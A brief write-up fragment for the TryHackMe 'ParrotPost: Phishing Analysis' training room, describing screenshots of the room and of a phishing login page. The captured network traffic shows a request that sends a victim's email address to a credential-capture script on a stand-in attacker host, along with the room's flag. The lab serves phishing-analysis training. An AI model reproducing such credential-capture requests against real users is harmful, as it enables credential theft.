

ParrotPost - Phishing Analysis

Reveal how attackers can craft client-side credential-stealing webpages that evade detection by security tools.

[TryHackMe | ParrotPost: Phishing Analysis](#)

The screenshot shows the TryHackMe interface for the ParrotPost challenge. The top navigation bar includes links for Dashboard, Learn, Compete, and Other. The main header displays the challenge title "ParrotPost: Phishing Analysis" and a description: "Reveal how attackers can craft client-side credential-stealing webpages that evade detection by security tools." Below the header, there is a section for "Active Machine Information" showing the title "ParrotPost v2 (VNC)", IP address "10.10.205.98", and expiration time "46m 23s". A progress bar indicates 100% completion. The tasks list includes "Task 1 Introduction", "Task 2 Phishing Email Analysis", and "Task 3 Email Headers".

The screenshot shows the ParrotPost login page and the network traffic in the browser's developer tools. The login page has fields for "Email:" and "Password:" with a "Login" button. The network traffic shows a GET request to "evilparrot.thm:cred-capture.php?email=pfeathers@flying-sec.thm" with a status of 200. The response body contains the message: "THM{c4p7ur3d_y0ur_cr3d5} Status: SUCCESS! Credentials have been stolen and appended to http://evilparrot.thm:8080/creds.txt".
